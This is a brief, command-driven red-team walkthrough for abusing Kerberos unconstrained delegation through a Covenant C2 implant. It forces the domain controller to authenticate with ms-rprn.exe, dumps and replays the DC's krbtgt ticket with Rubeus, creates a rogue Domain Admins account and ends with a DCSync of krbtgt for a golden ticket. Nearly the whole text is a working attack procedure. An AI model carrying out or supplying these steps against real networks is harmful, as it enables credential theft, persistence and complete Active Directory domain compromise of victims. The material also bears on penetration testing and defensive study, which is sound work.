Unconstrained Delegation

  • This means that the computer is trusted to delegate any service.


  • Here we assume we have a high integrity grunt in Covenant with a computer that has unconstrained delegation, we can check this using this command: powershell get-netcomputer -unconstrained -properties dnshostname Here is what the result looks like, so we have Workstation-01 that has unconstrained Delegation



  • We upload ms-rprn.exe with the Covenant upload command to our target

  • We run it shell ms-rprn.exe \\dc01 \\workstation-01

  • run rubeus dump /service:krbtgt here we will want to copy and keep aside the DC01 Base64EncodedTicket

  • maketoken adminsitrator domain type-any-string-here

  • rubeus ptt /ticket PASTE-HERE-DC01-Base64EncodedTicket

  • We should now be able to create a new user and add it to the Domain Admins

    shell net user user SafePass1! /add /domain
    shell net group "Domain Admins" user /add /domain
  • dcsync domain\krbtgt We will need this if we want to do a golden ticket

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